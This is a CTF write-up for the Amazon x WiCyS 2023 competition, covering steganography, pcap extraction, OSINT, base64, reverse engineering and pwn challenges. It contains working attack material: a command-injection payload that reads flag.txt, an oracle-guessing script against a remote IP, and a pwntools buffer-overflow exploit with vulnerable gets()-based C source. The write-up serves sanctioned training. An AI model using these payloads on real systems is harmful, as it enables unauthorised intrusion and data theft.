---
# System prepended metadata

title: Amazon x WiCys 2023 CTF
tags: [CTF]

---

# Amazon x WiCys CTF

Username: grande_iced_latte
Ranking: 9 over 356
![](https://hackmd.io/_uploads/SyLF93Ee6.png)

---

Table of Content:
* Misc
    * [Hidden Messages](#Hidden-messages)
* Network
    * [Simple Pcap](#Simple-Pcap)
* Web
    * [Network Analyzer](#Network-Analyzer)
    * [Password Locker on the Web](#Password-Locker-on-the-Web)
* Recon
    * [Bad Actor](#Bad-Actor)
    * [Secret Server](#Secret-Server)
* Crypto
    * [I am lazy](#I-am-lazy)
* Reverse Engineering
    * [Password Storage 101](#Password-Storage-101)
* Pwn
    * [Simple offer](#Simple-offer)


---

## Misc
### Hidden messages
After decompressing the given zip file, there is a `logo.jpg`. Let's `file logo.jpg`.
![](https://hackmd.io/_uploads/B1hznsNeT.png)

There is `QW1hem9ue1N0M24wZ3JAcGh5XzEkX2hAcmR9` which looks suspicious. If we use cyberchef (or whatever base64 decoder) to decode it, there is the flag.

**flag: Amazon{St3n0gr@phy_1$_h@rd}**

---

## Network
### Simple Pcap
Open the given pcap file with Wireshark. We can observe that there are HTTP requests that we probably want to look into.
![](https://hackmd.io/_uploads/B1U1pjEg6.png)
If we inspect the packet detail of the POST request, we can find that the request body includes a png image called `flag.png`. That looks promising! Now it is time to extract this image.
![](https://hackmd.io/_uploads/HJlCTjEx6.png)
On Wireshark, click `File > Export Objects > HTTP`, select and save the packet of `multipart/form-data` type. Now the image but in a multipart/form-data mime type is stored on local. From [this StackOverflow post](https://stackoverflow.com/a/23517227), we know where the start and the end of the png file is: between file-specific headers and a `-----` boundary.
![](https://hackmd.io/_uploads/BJRk124ea.png)
The file just downloaded looks like this. It is a hex-dump file, so we need to first convert it to a regular file with [`xxd -r- p flag_hex.png flag.png`](https://stackoverflow.com/a/67448745).
![](https://hackmd.io/_uploads/Bk6FkhVxT.png)
It will now look like this:
![](https://hackmd.io/_uploads/By9nbn4xa.png)
Let's remove the lines before `PNG` and the last `----` boundary line. Then the image can be opened! In fact, cyberchef can also extract this image for you.
![](https://hackmd.io/_uploads/B1esTvU7gp.png)

**flag: Amazon{pc@p_mak3s_th3_m@gic}**

---

## Web
### Network Analyzer
Use `&` to execute commands:
`127.0.0.1 & ls` shows that there is a `flag.txt` file.
`127.0.0.1 & cat flag.txt` gives the flag.
![](https://hackmd.io/_uploads/rkQOWvmxp.png)
**flag: Amazon{4n0th3r_H4ck3r_Succ33d$}**

### Password Locker on the Web
Known that the flag starts with Amazon, try to input it, and the response is a bunch of zeros. Therefore, the correct character would be encrypted to '00'. What to do is to write a python script to guess each character that is encrypted to '00' until the character is '}' indicating the end of the flag.
![](https://hackmd.io/_uploads/rJbbkFme6.png)
```python!
import requests

value = 'Amazon{'
url = 'http://18.220.4.126:3030/encrypt'
conn = requests.post(url, data={'plaintext': value})

start = '0' * 14
last = '</p>'
index = 1
found = False

while(not found):
    for i in range(33, 127):
        c = chr(i)
        data_len = len(value) * 2 + index * 2 + 1
        conn = requests.post(url, data={'plaintext': value + c})
        res = conn.text[conn.text.find(start):conn.text.rfind(last)]
        res = res[res.find('0'):data_len].strip().replace('\n', '')
        print(res)
        
        if(res[-2:] == '00'):
            value = value + c
            index += 1
            i = 33
            
            if(c == '}'):
                found = True
                break
print(value)
```
**flag: Amazon{This_Flag_Is_Secret_front_end_validation_is_bullet_proof}**

---

## Recon
### Bad Actor
Find a user with `mickey_z_scott` as username:
![](https://hackmd.io/_uploads/HJzyvKXeT.png)
**flag: Amazon{0S1NT_1s_c00l}**

### Secret Server
Continue with the new username `scottyisthebest`, we found a github user with only one repo. Look into the repo and the current version has nothing relevant. Dig into commits.... There is a discord server link! Join in the server and the flag is in the secret channel:
![](https://hackmd.io/_uploads/B1-Fbq7lT.png)
![](https://hackmd.io/_uploads/Sy6KZcXla.png)
**flag: Amazon{Y0u_h@v3_m@st3red_0S1NT}**

---

## Crypto
### I am lazy
Base64 decoding until the flag is given.
**flag: Amazon{too_many_times_encoded}**

---


## Reverse Engineering
### Password Storage 101
An executable is given. Using either [Decompiler Explorer](https://dogbolt.org/) or Ghidra to get the C/C++ style code. The code is pretty long, but there are two important parts: `main` and `keychain`.

```clike!
uint64_t keychain(uint64_t arg1, char* arg2, char* arg3)
{
    uint64_t var_10 = arg1;
    char var_21 = 0;
    std::string::string(arg1);
    for (int32_t i = 0; i < 0x19; i = (i + 1))
    {
        int64_t i_1 = i;
        char var_29_1 = xorfunction(arg2[i_1], arg3[i_1]);
        std::string::append(arg1, 1);
    }
    char var_21_1 = 1;
    return arg1;
}
```
As shown above, `keychain` is just xoring the two given strings. Now we take a look at `main`.
```clike!
uint64_t _main()
{
    int64_t rax = *___stack_chk_guard;
    int32_t var_5c = 0;
    std::ostream::operator<<(std::operator<<<std::char_traits<char> >(std::cout, "This is the newest password lock…"), std::endl<char>);
    // user input, i.e. password guess
    void var_78;
    std::string::string(&var_78);
    std::operator>><char>(std::cin, &var_78);
    
    // the two strings are the source of correct password
    int128_t var_38;
    __builtin_strcpy(&var_38, "\\prmb}{[{&`Ri@RG.i_.ch4h");
    int128_t var_58;
    __builtin_strcpy(&var_58, "uhtrbg{nkrgb!gbfjv]jbnSf");
    void var_a0;
    std::string::string(&var_a0);
    
    // xor the two secret strings. result = vb8 = va0
    void var_b8;
    keychain(&var_b8, &var_58, &var_38);
    std::string::operator=(&var_a0);
    std::string::~string();
    void var_d0;
    std::string::string(&var_d0);
    void var_100;
   
    // I don't quite understand this line, but I assume v100 = v58 = 'uhtrbg{nkrgb!gbfjv]jbnSf'
__ZNSt3__112basic_stringIcNS_11char_traitsIcEENS_9allocatorIcEEEC1B6v15006IDnEEPKc(&var_100, &var_58);

    // ve8 = vd0 = rot13('uhtrbg{nkrgb!gbfjv]jbnSf') = 'hugeot{axeto!toswi]woaFs0'
    void var_e8;
    rot13(&var_e8, &var_100);
    std::string::operator=(&var_d0);
    std::string::~string();
    std::string::~string();
    
    // Don't quite understand, but looks like trying to print something
std::ostream::operator<<(std::operator<<<std::char_traits<char> >(std::cout, &data_100003ebc), std::endl<char>);

    int64_t rax_3 = std::string::c_str(&var_78);
    
    // v118 = vd0 ^ va0 = rot13('uhtrbg{nkrgb!gbfjv]jbnSf') ^ ('uhtrbg{nkrgb!gbfjv]jbnSf' ^ '\prmb}{[{&`Ri@RG.i_.ch4h')
    void var_118;
    keychain(&var_118, std::string::operator[](&var_d0, 0), std::string::operator[](&var_a0, 0));
    int32_t rax_8;
    
    // compare user input with correct password
    rax_8 = _strcmp(rax_3, std::string::c_str(&var_118)) == 0;
    std::string::~string();
    if ((rax_8 & 1) != 0)
    {
        std::ostream::operator<<(std::operator<<<std::char_traits<char> >(std::cout, "Correct Password"), std::endl<char>);
    }
    else
    {
        std::ostream::operator<<(std::operator<<<std::char_traits<char> >(std::cout, "Incorrect!"), std::endl<char>);
    }
    ...
    return var_5c_1;
}
```
Using Python to automate the computation, the result `ss` is the flag.
```python!
import codecs, binascii

s1 = 'uhtrbg{nkrgb!gbfjv]jbnSf0'
s1b = b'uhtrbg{nkrgb!gbfjv]jbnSf0'
s2b = b'\prmb}{[{&`Ri@RG.i_.ch4h'

s12 = bytes(x ^ y for x, y in zip(s1b, s2b))

s1_rot13 = codecs.encode(s1, 'rot_13')

print(s12, s1_rot13)

ss = bytes(x ^ y for x, y in zip(s12, s1_rot13.encode('utf-8')))

print(ss)
```
Sample output:
![](https://hackmd.io/_uploads/rJqPDpmeT.png)

**flag: Amazon{Th1s_iS_R3v_3ng!}**

---

## Pwn
### Simple offer
There are an executable and a C file. Alright, we can get the flag by calling `win`. To do so, we have to overwrite the return address of `vuln`. The structure of stack, from low address to high address, is `[local variable] [address of previous stack frame rbp] [return address]`. From the source code, we know that there are a string of length 32 as a local variable of `vuln`. Therefore, the input so far is `char[32] + rbp = 40 bytes = a * 40`.
```clike!
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>

void win() {
  char buf[64];
  FILE *f = fopen("flag.txt","r");
  if (f == NULL) {
    printf("%s", "You are at the right place, create a local flag to test.\n");
    exit(0);
  }

  fgets(buf,64,f);
  printf(buf);
}

void vuln(){
  char buf[32];
  gets(buf);

  printf("Taking the request to 0x%x\n", __builtin_return_address(0));
}

int main(int argc, char **argv){

  puts("Hello, what can I help you with? : ");
  vuln();
  return 0;
}
```

Disassemble the executable so we can inspect `win`. Its address is `0x401176` (plus `0x20` since there was some issue with the challenge). Therefore, the target return address is `0x401196`.
![](https://hackmd.io/_uploads/rkYAXkNxp.png)

The complete exploitation is as follows:
```python!
#!/usr/bin/python3
from pwn import remote

host = '3.142.83.254' # Remote machine name
port = '1234' # Remote port
conn = remote(host, port)


placeholder = b'\xde' * 40
rbp = 0x00007ffeb28e0dd0.to_bytes(8, 'little') # fine if all a's
addr = 0x0000000000401176 + 0x20
ret = addr.to_bytes(8, 'little')

payload =  placeholder + ret
print(payload)
conn.sendline(payload)

print(conn.recvall())
# b'Hello, what can I help you with? : \nTaking the request to 0x401196\nAmazon{0verfl0w_mad3_th3_dr3@m_c0me_tru3}\n'

conn.close()
```
**flag: Amazon{0verfl0w_mad3_th3_dr3@m_c0me_tru3}**


---
&copy;Yen-Yun Wu